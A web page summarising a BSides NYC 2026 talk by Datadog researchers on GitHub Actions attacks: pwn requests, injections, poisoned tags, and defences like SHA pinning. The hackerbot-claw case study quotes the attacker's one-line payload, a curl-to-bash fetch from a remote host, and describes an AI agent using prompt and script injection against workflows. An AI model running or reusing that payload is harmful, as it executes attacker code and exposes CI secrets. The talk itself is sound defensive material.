BSides NYC · October 2026

Talk · CI/CD Security

Rethinking CI/CD Security
in the Age of GitHub Actions

Mutable tags, pwn requests, and poisoned security scanners. How three real attacks turned GitHub workflows into a breach path, and the three fixes that close it without leaving GitHub.

Datadog
Kennedy Toomey Application Security Researcher & Advocate @ Datadog
Max Saltonstall Technical Storytelling Advocate @ Datadog

Talk Overview

From Mutable Tag to Breach

GitHub Actions runs third-party code next to your secrets. This walkthrough follows the talk: how that trust gets abused, three attacks that abused it, and what to change on Monday.

02 · Action Versioning
A tag is a pointer, not a version

Why @v2 Isn't a Version

  • Tags move. Anyone with write access to the action's repo can point the tag at new code. Your workflow follows it silently.
  • You can't answer "what ran?" No pinned hash means no record of the code that touched your secrets last Tuesday.
  • Updates arrive without review. A maintainer change, a compromised account, a new transitive dependency, all shipped straight into your runner.
# the less secure way: pinning to a tag
uses: tholander/actions-comment-pull-request@v2

# the more secure way: pinning to a commit SHA
uses: tholander/actions-comment-pull-request@b07c7f86be67002023e6cb13f57df3f21cdd3411
Most organizations are vulnerable to malicious GitHub Actions
Pin all marketplace actions to a SHA Pin some Pin none
Further Reading
03 · Attack Patterns
No silver bullet

Common Workflow Attacks

Risk comes from two places: the code you call on (third-party actions) and the code you wrote (your own workflows). Each needs its own fix.

Pwn requests

A workflow triggered by pull_request_target checks out the fork's code but runs with the base repo's secrets and write token.

Seen in the wild: s1ngularity
Injections

A workflow passes data through shell commands, often unvalidated and open to remote code execution.

Seen in the wild: hackerbot-claw
Compromised credentials

A maintainer token or publishing credential is stolen, and the trusted action itself starts shipping malicious releases.

Seen in the wild: Trivy, KICS
04 · Case Study · Pwn Request
August 2025

s1ngularity: A PR Title That Published npm Packages

01
A PR with a malicious title was opened in the Nx repo.
02
Nx's PR-title validation workflow ran on pull_request_target and returned a GITHUB_TOKEN.
03
Malicious Nx versions shipped a postinstall script.
04
With additional creds, attackers made private repos public and exfiltrated secrets.
2,000+accounts exposed
7,200repositories exposed
Lesson
The vulnerable workflow was reverted on main almost immediately. The attacker opened the PR against an outdated branch instead. Fixing forward isn't enough.
Lesson
Avoid pull_request_target whenever possible. If you have to use it, do not execute code from the PR.
05 · Case Study · Injection
February 2026

hackerbot-claw: An AI Agent Hunting Workflows

An AI agent built to exploit GitHub Actions and LLM-powered workflows. It claimed to run on Anthropic's Opus 4.5 and targeted open source projects through malicious pull requests, issues, and comments between February 27 and March 2, 2026.

16pull requests opened
2issues opened
8comments posted on targets
9repositories across 6 organizations

Same payload, different injection locations.

curl -sSfL hackmoltrepeat.com/molt | bash
Branch-name injection Filename injection Direct script injection Prompt injection Pwn request

When it came for Datadog

Step 01
Malicious PR
Targeted datadog-iac-scanner.
Step 02
BewAIre analysis
Datadog's LLM-powered malicious code review flagged the PR immediately.
Step 03
Cloud SIEM signal
The finding raised a security signal and alerted the incident response team.
Step 04
SIRT investigation
18 minutes later, BewAIre caught a second attempt.

Lessons learned

  1. Assume public workflows will be continuously tested.
  2. Treat all external content as untrusted.
  3. Minimize the access.
  4. Pair prevention with detection.
06 · Case Study · Compromised Credentials
March 2026

Trivy and KICS via TeamPCP

75Trivy tags poisoned (Mar 19)
2Checkmarx open source actions compromised (Mar 23)
The lesson Pin to hash, not to tag. And avoid pull_request_target whenever possible. Seriously, people.
07 · So What Now?
Option 1: Denials

The Denials

"We're too small to be a target."
"Our tokens aren't in the workflows anyway."
"Those actions might be dangerous, but our setup is fine."
"Can't catch me, I'm the gingerbread man."
08 · So What Now?
Option 2: leave, or never use third-party actions

The Alternatives

01
Switch CI providers
02
Write everything yourself
03
Fork the open source action so you own it
10 · The Fix
Pin your dependencies

Handling Actions Versions

Pin to a full commit SHA

Pro: you choose exactly what version to use.

Con: tedious to keep current (without Dependabot), and it doesn't pin the action's own actions.

Workflow dependency locking

Pro: a lockfile covering direct and transitive actions.

Con: still in preview.

11 · The Fix
Scan the config

Let Tooling Read Every Workflow You Won't

IaC and CI/CD security rules parse your workflow files and flag dangerous patterns as policy violations, right in the pull request.

Triggers & permissions
Dangerous events, write-all tokens, missing top-level permissions.
Injection sinks
Untrusted context interpolated into run: steps and script arguments.
Secrets & runners
Secrets exposed to fork jobs, self-hosted runners reachable from public repos.
Unpinned references
Actions used by tag or branch. The finding that would have covered March.

Where this works, and where it doesn't

Works well
Static, syntactic patterns: an unpinned uses:, a bad trigger, an over-broad token, a raw interpolation in a shell step. High signal, low argument, fixable in one PR.
Still lacking
Intent. A pinned SHA can still be malicious code you approved by accident, and no rule tells you whether a maintainer should have publish rights. Runtime behavior needs runtime signals.
Gotchas
Reusable workflows and composite actions hide a second layer of uses:. Docker-based actions pull mutable image tags. And an "immutable release" badge doesn't stop a tag being force-pushed.
Further Reading
12 · Platform
Platform changes

GitHub Is Making Changes

Initial compromise
  • actions/checkout prevents checking out untrusted code from forks
  • New policies limit who triggers risky actions and which triggers are permitted
  • Actions cache is read-only for untrusted triggers
Exfiltrating credentials
  • New Actions network firewall (preview) logs all outbound traffic to detect malicious behavior
Propagating the attack
  • Dependabot has a default dependency cooldown of 3 days
  • Potentially malicious workflows are held for approval
  • Workflow-level dependency locking
  • Immutable releases
Incident response
  • Self-service credential revocation
  • Expanded credential revocation API support

A workflow is as dangerous as code.

Review it and audit it like code.

Presentation Slides Full deck from BSides NYC 2026
Download PDF
Datadog
Want to learn more from other Datadog Security Researchers?

Datadog Security Labs publishes original security research, threat intelligence, and in-depth technical analysis.

Visit Security Labs →